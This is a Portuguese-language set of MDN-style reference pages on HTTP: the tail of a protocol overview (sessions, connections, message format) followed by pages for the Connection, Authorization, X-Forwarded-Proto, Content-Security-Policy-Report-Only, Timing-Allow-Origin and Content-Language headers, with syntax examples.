### HTTP é extensível

Introduzidos no HTTP/1.0, os cabeçalhos HTTP fazem com que este protocolo seja fácil para estender e usá-lo para experimentos. Novas funcionalidades podem até ser introduzidas pelo simples acordo entre um cliente e um servidor sobre a nova semântica de um cabeçalho.

### HTTP não tem estado, mas tem sessões

HTTP é sem estado: não existe uma relação entre duas requisições sendo feitas através da mesma conexão. Isso traz um problema imediato para usuários que interagem com algumas páginas de forma coerente, por exemplo, usando um carrinho de compras de *e-commerces*\*. Mas como o fundamento básico do HTTP é não manter estados, *cookies* HTTP permitem que as sessões tenham estados. Usando a extensibilidade dos cabeçalhos, os *cookies* são adicionados ao fluxo do HTTP, permitindo que a criação de sessão em cada requisição HTTP compartilhem o mesmo contexto, ou o mesmo estado.

**Nota:** \* O problema do carrinho de compras de *e-commerces* e o protocolo HTTP: como o protocolo HTTP não guarda o estado das requisições e respostas, é **impossível** fazer com que um site guarde as informações de um carrinho de compras **somente através do HTTP**. Por exemplo, imagine que você irá comprar um computador novo e um jogo de xícaras de chá. Para que esses dados possam ser mantidos enquanto você navega no site do *e-commerce* olhando mais produtos (cada página visitada gera um novo par de requisição/resposta), duas estratégias podem ser usadas, já que o HTTP por si só, não permitiria isso:

1. Você possui um cadastro no *e-commerce* e um programa escrito no servidor é responsável por armazenar suas informações do carrinho; ou
2. Um programa escrito em linguagem cliente (como JavaScript), gerencia essas informações através dos *cookies* e de bancos de dados que os próprios navegadores disponibilizam para as aplicações, para armazenamento **temporário** dessas informações de carrinho.

### HTTP e conexões

Uma conexão é controlada na camada de transporte, e portanto fundamentalmente fora do controle do HTTP. Entretanto o HTTP não requer que o protocolo de transporte utilizado seja baseado em conexões, só requer que seja confiável ou não perca mensagens (sem pelo menos apresentar erros). Dentre os dois protocolos de transporte mais comuns na internet, o TCP é confiável e o UDP não. Portanto, o HTTP utiliza o padrão TCP, que é baseado em conexão, mesmo que nem sempre seja obrigatório o uso de uma conexão.

No protocolo HTTP/1.0 uma conexão TCP era aberta para cada par de requisição/resposta trocada, introduzindo duas grandes falhas: abrir uma conexão requer várias viagens de ida/volta de mensagens, e portanto é lento, mas se torna mais eficiente quando mensagens são enviadas em maior número ou maior frequência: "conexões quentes" são mais eficientes que "conexões frias" (que envia poucas mensagens ou com baixa frequência).

Para contornar essas falhas, o protocolo HTTP/1.1 introduziu o conceito de linhas de produção (ou *pipelining*) — que se provou difícil de ser implementado — e conexões persistentes: as conexões TCPs feitas embaixo, podem ser parcialmente controladas usando o cabeçalho HTTP `Connection`. O HTTP/2.0 foi mais além, multiplexando várias mensagens através de uma única conexão, ajudando a manter a conexão mais quente, e mais eficiente.

Experimentos estão sendo feitos para projetar um protocolo de transporte mais adequado para o HTTP. Por exemplo, a Google está fazendo testes com o QUIC que é construído sobre o UDP para prover um protocolo de transporte mais confiável e eficiente.

O que pode ser controlado pelo HTTP?
------------------------------------

A natureza extensível do HTTP tem permitido mais controle e funcionalidade para a internet, ao longo do tempo. Cache e autenticação são funcionalidades suportadas desde o início da história do HTTP. A habilidade de relaxar as restrições na origem, em contraste, foi adicionada nos anos 2010s.

Aqui está uma lista de funcionalidades comuns, controláveis com HTTP:

* *Cache*
 A forma como documentos são cacheados pode ser controlada pelo HTTP. O servidor pode instruir *proxies* e clientes, sobre o que cachear e por quanto tempo. O cliente pode instruir *proxies* de cache intermediários a ignorar o documento armazenado.
* *Relaxamento das restrições na origem*
 Para prevenir bisbilhoteiros e outros invasores de privacidade, os navegadores reforçam estritamente a separação dos sites Web. Somente páginas de **mesma origem** podem acessar todas as informações de uma página Web. Apesar dessa restrição ser um fardo grande aos servidores, os cabeçalhos HTTP podem relaxar essa separação estrita no lado dos servidores, permitindo que um documento seja composto por várias fontes de informação em outros domínios (e pode até ter razões específicas de segurança para se fazer isso), como um tecido de retalhos.
* *Autenticação*
 Algumas páginas podem ser protegidas para que apenas usuários específicos possam acessá-la. Autenticação básica pode ser fornecida pelo HTTP, usando tanto o cabeçalho `WWW-Authenticate` e similares, quanto configurando uma sessão específica usando cookies HTTP.
* *Proxy e tunelamento (en-US)*
 Servidores e/ou clientes estão frequentemente localizados em *intranets* e escondem seu verdadeiro endereço IP aos outros. Requisições HTTP recorrem aos *proxies* para contornar essa barreira na rede. Mas nem todos os *proxies* são *proxies* HTTP. O protocolo SOCKS, por exemplo, opera em um nível mais baixo. Outros protocolos, como ftp, podem ser tratados por esses *proxies*.
* *Sessões*
 Usando os *cookies* HTTP, permite você vincular requisições com o estado do servidor. Isso cria as sessões, apesar do protocolo HTTP básico não manter estado. Isso é útil não só para os carrinhos de compras de *e-commerces*, mas também para qualquer site que permita customização das respostas a nível de usuário.
Fluxo HTTP
----------

Quando o cliente quer comunicar com um servidor, este sendo um servidor final ou um *proxy*, ele realiza os seguintes passos:

1. Abre uma conexão TCP: A conexão TCP será usada para enviar uma requisição, ou várias, e receber uma resposta. O cliente pode abrir uma nova conexão, reusar uma conexão existente, ou abrir várias conexões aos servidores.
2. Envia uma mensagem HTTP: mensagens HTTP (antes do HTTP/2.0) são legíveis às pessoas. Com o HTTP/2.0, essas mensagens simples são encapsuladas dentro de quadros (*frames*), tornando-as impossíveis de ler diretamente, mas o princípio se mantém o mesmo.

```http
GET / HTTP/1.1
Host: developer.mozilla.org
Accept-Language: fr
```

3. Lê a resposta do servidor:

```http
HTTP/1.1 200 OK
Date: Sat, 09 Oct 2010 14:28:02 GMT
Server: Apache
Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
ETag: "51142bc1-7449-479b075b2891b"
Accept-Ranges: bytes
Content-Length: 29769
Content-Type: text/html

<!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
```

4. Fecha ou reutiliza a conexão para requisições futuras.

Se a linha de montagem (*pipelining*) estiver ativada, várias requisições podem ser enviadas sem que a primeira resposta seja totalmente recebida. A linha de montagem HTTP se provou difícil de ser implementada nas redes existentes, onde peças antigas de *software* coexistem com versões modernas. A linha de montagem HTTP tem sido substituída no HTTP/2.0 com multiplexação mais robusta de requisições dentro de um quadro (*frame*).

Mensagens HTTP
--------------

HTTP/1.1 e mensagens mais antigas HTTP são legíveis às pessoas. No HTTP/2.0, essas mensagens são embutidas numa nova estrutura binária, um quadro, permitindo otimizações como compressão de cabeçalhos e multiplexação. Mesmo se somente parte da mensagem HTTP original for enviada nessa versão do HTTP, a semântica de cada mensagem permanece inalterada e o cliente reconstitui (virtualmente) a requisição HTTP/1.1 original. É portanto útil entender as mensagens HTTP/2.0 no formato da versão HTTP/1.1.

Existem dois tipos de mensagens, requisições e respostas, cada uma com seu próprio formato.

### Requisições

Exemplo de uma requisição HTTP:

![A basic HTTP request](/pt-BR/docs/Web/HTTP/Overview/http_request.png)

As requisições consistem dos seguintes elementos:

* Um método HTTP, geralmente é um verbo como `GET`, `POST`, `DELETE`, `PUT`, etc, ou um substantivo como `OPTIONS` ou `HEAD` que define qual operação o cliente quer fazer. Tipicamente, um cliente quer pegar um recurso (usando `GET`) ou publicar dados de um formulário HTML (usando `POST`), embora mais operações podem ser necessárias em outros casos.
* O caminho do recurso a ser buscado; a URL do recurso sem os elementos que são de contexto, por exemplo sem o protocolo protocol (`http://`), o domínio domain (aqui como `developer.mozilla.org`), ou a porta port TCP (aqui indicada pelo `80` que é ocultado por ser o número da porta padrão)
* A versão do protocolo HTTP.
* Cabeçalhos opcionais que contém informações adicionais para os servidores.
* Ou um corpo de dados, para alguns métodos como `POST`, similares aos corpos das respostas, que contém o recurso requisitado.
### Respostas

Exemplo de resposta HTTP:

![](/pt-BR/docs/Web/HTTP/Overview/http_response.png)

Respostas consistem dos seguintes elementos:

* A versão do protocolo HTTP que elas seguem.
* Um código de status, indicando se a requisição foi bem sucedida, ou não, e por quê.
* Uma mensagem de status, uma pequena descrição informal sobre o código de status.
* Cabeçalhos HTTP, como aqueles das requisições.
* Opcionalmente, um corpo com dados do recurso requisitado.
APIs baseadas no HTTP
---------------------

A API mais utilizada construída em cima do HTTP é a `XMLHttpRequest`, que pode ser usada para trocar dados entre um user agent (en-US) e um servidor.

Outra API, de eventos enviados pelo servidor (en-US), é um serviço de mão-única que permite um servidor enviar eventos ao cliente, usando HTTP como um mecanismo de transporte. Usando a interface `EventSource`, o cliente abre uma conexão e estabelece os manipuladores de evento. O navegador do cliente converte automaticamente as mensagens que chegam pelo fluxo HTTP em objetos `Event` apropriados, entregando-os aos manipuladores de evento que foram registrados para os tipos de eventos `type` se conhecidos, ou para o manipulador de evento `onmessage` (en-US) se nenhum manipulador de evento específico ao tipo foi definido.

Conclusão
---------

O HTTP é um protocolo extensível que é fácil de se usar. A arquitetura cliente-servidor, combinada com a habilidade de simplesmente adicionar cabeçalhos, permite que o HTTP avance suas funcionalidades juntamente com a elasticidade da Web.

Embora o HTTP/2.0 adicione mais complexidade, embutindo mensagens HTTP em quadros para melhorar a performance, a estrutura básica das mensagens continua a mesma desde o HTTP/1.0. Fluxo de sessões permanece simples, permitindo-o a ser investigado, e depurado com um simples monitor de mensagens HTTP.


Connection - HTTP

Connection
==========

O cabeçalho **`Connection`** controla se a conexão se mantém aberta ou não após o término da transação atual. Se o valor for `keep-alive`, a conexão é persistente e não fecha, permitindo que requisições futuras ao mesmo servidor sejam feitas.

**Nota:** Campos de cabeçalho de conexão específica como Connection não devem ser usados com HTTP/2.

Exceto pelos cabeçalhos padrões *hop-by-hop* (salto-por-salto) (`Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade` (en-US), `Proxy-Authorization` e `Proxy-Authenticate`), quaisquer cabeçalhos *hop-by-hop* usados pela mensagem devem estar listados no cabeçalho `Connection`, para que o primeiro proxy saiba que tem que consumi-los e não repassá-los além. Os cabeçalhos *hop-by-hop* padrões podem ser listados também (como é o caso do `Keep-Alive`, mas não é obrigatório).

|  |  |
| --- | --- |
| Tipo de cabeçalho | General header |
| Forbidden header name | sim |

Sintaxe
-------
```

Connection: keep-alive
Connection: close
```

Diretivas
---------

`close`

Indica que ou o cliente, ou o servidor querem fechar a conexão. Este é o valor padrão em requisições HTTP/1.0.

qualquer lista de cabelhaços HTTP separados por vírgulas [Geralmente apenas o `keep-alive` ]

Indica que o cliente gostaria de manter a ligação aberta. Ter uma conexão persistente é o valor padrão das requisições HTTP/1.1. A lista de cabeçalhos são os nomes dos cabeçalhos a serem removidos pelo primeiro proxy não-transparente ou com "cache no meio": estes cabeçalhos definem a conexão entre o emissor e a primeira entidade, não o nó destinatário.

Compatibilidade com navegadores
-------------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Authorization - HTTP

Authorization
=============

O cabeçalho de requisição HTTP **`Authorization`** contém as credenciais para autenticar o agente de usuário com o servidor, geralmente o servidor responderá com um status `401` `Unauthorized` se não for possível fazer a autenticação, e com o cabeçalho `WWW-Authenticate`.

|  |  |
| --- | --- |
| Tipo de cabeçalho | Request header |
| Forbidden header name | não |

Sintaxe
-------
```

Authorization: <tipo> <credenciais>
```

Directives
----------

<tipo>

Tipo de autenticação. Um tipo comum é o "Basic". Outros tipos:

* Registro do IANA dos esquemas de Autenticação
* Autenticação para servidores AWS (`AWS4-HMAC-SHA256`)

<credenciais>

Se a autenticação "Basic" é utilizada, as credenciais construção são parecidas com isto:

* O nome de usuário com a senha combinados por dois pontos (`aladdin:opensesame`).
* A cadeia de caracteres resultante é uma codificação base64 (en-US) (`YWxhZGRpbjpvcGVuc2VzYW1l`).

**Nota:** Codificação Base64 não significa encriptação ou hashing! Esse método é igualmente seguro como mandar em texto limpo (base64 é uma codificação que pode ser revertida). Use o HTTPS em conjunto com a Autenticação Basic.

Exemplos
--------
```

Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
```

Veja também autenticação HTTP para exemplos em como configurar os servidores Apache ou nginx para proteger seu site com autenticação básica HTTP.

Especificações
--------------

| Especificação | Título |
| --- | --- |
| RFC 7235, sessão 4.2: Authorization | HTTP/1.1: Authentication |
| RFC 7617 | O esquema de autenticação HTTP 'Basic' |

Veja também
-----------

* Autenticação HTTP
* `WWW-Authenticate`
* `Proxy-Authorization`
* `Proxy-Authenticate`
* `401`, `403`, `407`


X-Forwarded-Proto - HTTP

X-Forwarded-Proto
=================

O cabeçalho **`X-Forwarded-Proto`** (XFP) é um cabeçalho padrão de fato para identificar o protocolo (HTTP ou HTTPS) que o cliente usava para conectar ao seu proxy ou balanceador de carga. Seus *logs* de acesso do servidor contém o protocolo usado entre o servidor e o balanceador de carga, não o protocolo usado entre o cliente e o balanceador de carga. Para determinar o protocolo utilizado entre o cliente e o balanceador de carga, o cabeçalho de requisição `X-Forwarded-Proto` pode ser utilizado.

Uma versão padronizada deste cabeçalho é o cabeçalho HTTP `Forwarded`.

|  |  |
| --- | --- |
| Tipo de cabeçalho | Request header |
| Forbidden header name | não |

Sintaxe
-------
```

X-Forwarded-Proto: <protocol>
```

Diretivas
---------

<protocol>

O protocolo encaminhado (http ou https).

Exemplos
--------
```

X-Forwarded-Proto: https
```

Outras formas não padronizadas:
```

# Microsoft
Front-End-Https: on

X-Forwarded-Protocol: https
X-Forwarded-Ssl: on
X-Url-Scheme: https
```

Especificações
--------------

Não pertence a nenhuma especificação atualmente. A versão padronizada do cabeçalho é `Forwarded`.

Compatibilidade com navegadores
-------------------------------

{{Compat}}Veja também
-----------

* `Forwarded`
* `X-Forwarded-For`
* `X-Forwarded-Host`


Content-Security-Policy-Report-Only - HTTP

Content-Security-Policy-Report-Only
===================================

O cabeçalho de resposta HTTP **`Content-Security-Policy-Report-Only`** permite aos desenvolvedores *web* experimentar políticas monitorando (mas não forçando) seus efeitos. Esses relatórios de violação consistem de documentos JSON enviados por uma requisição HTTP `POST` para a URI especificada.

Para mais informações, veja também este artigo em Content Security Policy (CSP).

|  |  |
| --- | --- |
| Tipo de cabeçalho | Response header (en-US) |
| Forbidden header name | não |
|
 Este cabeçalho não é suportado dentro de um elemento
 `<meta>`.
  |

Sintaxe
-------
```

Content-Security-Policy-Report-Only: <policy-directive>; <policy-directive>
```

Diretivas
---------

As diretivas do cabeçalho `Content-Security-Policy` também podem ser aplicadas para `Content-Security-Policy-Report-Only`.

A diretiva CSP `report-uri` (en-US) deve ser utilizada com este cabeçalho, caso contrário este cabeçalho será uma custosa operação sem ação para a máquina.

Exemplos
--------

Este cabeçalho reporta violações que podem ter ocorrido. Você pode usar isso para trabalhar iterativamente na sua política de segurança de conteúdo. Você observa como seu site se comporta, observando para relatórios de violação ou redirecionamento de *malware*, então escolha a política forçada desejada pelo cabeçalho `Content-Security-Policy`.
```

Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/
```

Se você ainda quer continuar recebendo relatórios, mas também quer reforçar a política, use o cabeçalho `Content-Security-Policy` com a diretiva `report-uri` (en-US).
```

Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/
```

Sintaxe de relatório de violação
--------------------------------

O objeto de relatório JSON contém os seguintes dados:

`blocked-uri`

A URI do recurso que estava bloqueada de carregar pela Política de Segurança de Conteúdo. Se a URI bloqueada é de uma origem diferente da URI do documento, então a URI bloqueada é truncada para conter somente o esquema, *host*, e a porta.

`disposition`

Ou `"enforce"` ou `"report"` dependendo se o cabeçalho `Content-Security-Policy` ou o `Content-Security-Policy-Report-Only` é utilizado.

`document-uri`

A URI do documento na qual a violação ocorreu.

`effective-directive`

A diretiva na qual a execução causou a violação.

`original-policy`

A política original como especificada pelo cabeçalho HTTP `Content-Security-Policy-Report-Only`.

`referrer`

A referência do documento onde a violação ocorreu.

`script-sample`

Os primeiros 40 caracteres do *script* em linha, manejador de evento, ou estilo que causou a violação.

`status-code`

O código de status HTTP do recurso no qual o objeto global foi instanciado.

`violated-directive`

O nome da seção da política que foi violada.

Exemplo de relatório de violação
--------------------------------

Vamos considerar a página localizada em `http://example.com/signup.html`. Ele usa a seguinte política, desabilitando tudo menos arquivos de estilo de `cdn.example.com`.
```

Content-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
```

O HTML de `signup.html` se parece com isto:

```html
<!doctype html>
<html>
  <head>
    <title>Sign Up</title>
    <link rel="stylesheet" href="css/style.css" />
  </head>
  <body>
    ... Conteúdo ...
  </body>
</html>
```

Você consegue observar a violação? Arquivos de estilos são permitidos serem carregados somente de `cdn.example.com`, entretanto o site tenta carregar um de sua origem (`http://example.com`). O navegador capaz de executar CSP irá mandar o seguinte relatório de violação como requisição POST para `http://example.com/_/csp-reports`, quando o documento é visitado:

```js
{
  "csp-report": {
    "document-uri": "http://example.com/signup.html",
    "referrer": "",
    "blocked-uri": "http://example.com/css/style.css",
    "violated-directive": "style-src cdn.example.com",
    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /\_/csp-reports",
    "disposition": "report"
  }
}
```

Como você pode ver, o relatório inclui o caminho completo para o recurso violado em `blocked-uri`. Isso não é sempre o caso. Por exemplo, quando o `signup.html` irá tentar carregar o CSS de `http://anothercdn.example.com/stylesheet.css`, o navegador não irá incluir o caminho completo, somente a origem será inclusa (`http://anothercdn.example.com`). Isso é feito para prevenir o vazamento de informações sensíveis sobre recursos entre origens.

Especificações
--------------

| Specification |
| --- |
| Content Security Policy Level 3 # cspro-header |

Compatibilidade com navegadores
-------------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Veja também
-----------

* `Content-Security-Policy`
* Diretiva CSP `report-uri` (en-US)
* Segurança de conteúdo em WebExtensions (en-US)
* Mostra políticas de privacidade e segurança nas Ferramentas de Desenvolvedor do Firefox


Timing-Allow-Origin - HTTP

Timing-Allow-Origin
===================

O cabeçalho de resposta **`Timing-Allow-Origin`** especifica origens que são permitidas de ver os valores dos atributos por funcionalidades da Resource Timing API (en-US), na qual caso contrário será reportada como zero dada as restrições entre origens.

|  |  |
| --- | --- |
| Tipo de cabeçalho | Response header (en-US) |
| Forbidden header name | não |

Sintaxe
-------
```

Timing-Allow-Origin: *
Timing-Allow-Origin: <origin>[, <origin>]*
```

Diretivas
---------

\*

O servidor pode especificar "\*" como um coringa, sendo assim permitindo qualquer origem de ver os tempos dos recursos.

<origin>

Especifica uma URI que pode ver os tempos dos recursos. Você pode especificar várias origens, separadas por vírgulas.

Exemplos
--------

Para permitir qualquer recurso veja os tempos dos recursos:
```

Timing-Allow-Origin: *
```

Para permitir `https://developer.mozilla.org` de ver os tempos de recursos de, você pode especificar:
```

Timing-Allow-Origin: https://developer.mozilla.org
```

Especificações
--------------

| Specification |
| --- |
| Resource Timing # sec-timing-allow-origin |

Compatibilidade com navegadores
-------------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Veja também
-----------

* Resource Timing API (en-US)
* Usando a Resource Timing API (en-US)
* `Vary`


Content-Language - HTTP

Content-Language
================

O cabeçalho de entidade **`Content-Language`** é usado para descrever a língua(s) destinada para a audiência, para que isto permita um usuário de se diferenciar de acordo com a língua preferida do usuário.

Por exemplo, se "`Content-Language: de-DE`" está selecionado, você diz que o documento é destinado para quem fala Alemão (no entanto, não indica que o documento é escrito em Alemão. Por exemplo, pode ser escrito em Inglês como parte de um curso de línguas para fluentes em Alemão).

Se nenhum `Content-Language` é especificado, o padrão é que o conteúdo é destinado para todas as línguas. Múltiplas tags de língua também podem ser usada, assim como usar o header `Content-Language` com varios tipos de mídia e não apenas para documentos de texto.

|  |  |
| --- | --- |
| Header type | Entity header |
| Forbidden header name | não |
| CORS-safelisted response-header (en-US) | sim |
| CORS-safelisted request-header (en-US) | sim |

Syntax
------
```

Content-Language: de-DE
Content-Language: en-US
Content-Language: de-DE, en-CA
```

Directives
----------

`language-tag`

Múltiplas tags de línguas são separadas por uma vírgula. Cada tag de língua é uma sequencia de uma ou mais subtags insensitíveis, cada uma separada por um hífen ("`-`", `%x2D`). Na maioria dos casos, uma tag de língua consiste de uma tag de língua primária que identifica uma família ampla de outras línguas (ex., "`en`" = English), que é opcionalmente seguida por uma série de subtags que refinam ou restringem aquele alcance da língua (ex., "`en-CA`" = variedade de Inglês como comunicado no Canadá).

**Nota:** Tags de língua são formalmente deifnidas em RFC 5646, que depende do padrão ISO 639 (muitas vezes o ISO 639-1 code list) para language codes serem usados.

Exemplos
--------

### Indicando a língua que um documento está escrito

O atributo global `lang` é usado em elementos HTML para indicar a língua de um documento HTML ou partes dele.

```html
<html lang="de"></html>
```

Não use este elemento meta como o abaixo para definir a língua de um documento:

```html
<!-- /!\ Esta prática é ruim -->
<meta http-equiv="content-language" content="de" />
```

### Indicando uma audiência destinada para um documento

O header `Content-Language` é usado para especificar a **audiência destinada da página**, e pode indicar que é mais de uma língua.
```

Content-Language: de, en
```

Especificações
--------------

| Specification | Title |
| --- | --- |
| RFC 7231, sessão 3.1.3.2: Content-Language | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |

Compatibilidade com navegadores
-------------------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

Veja também
-----------

* `Accept-Language`
* HTTP headers, meta elements and language information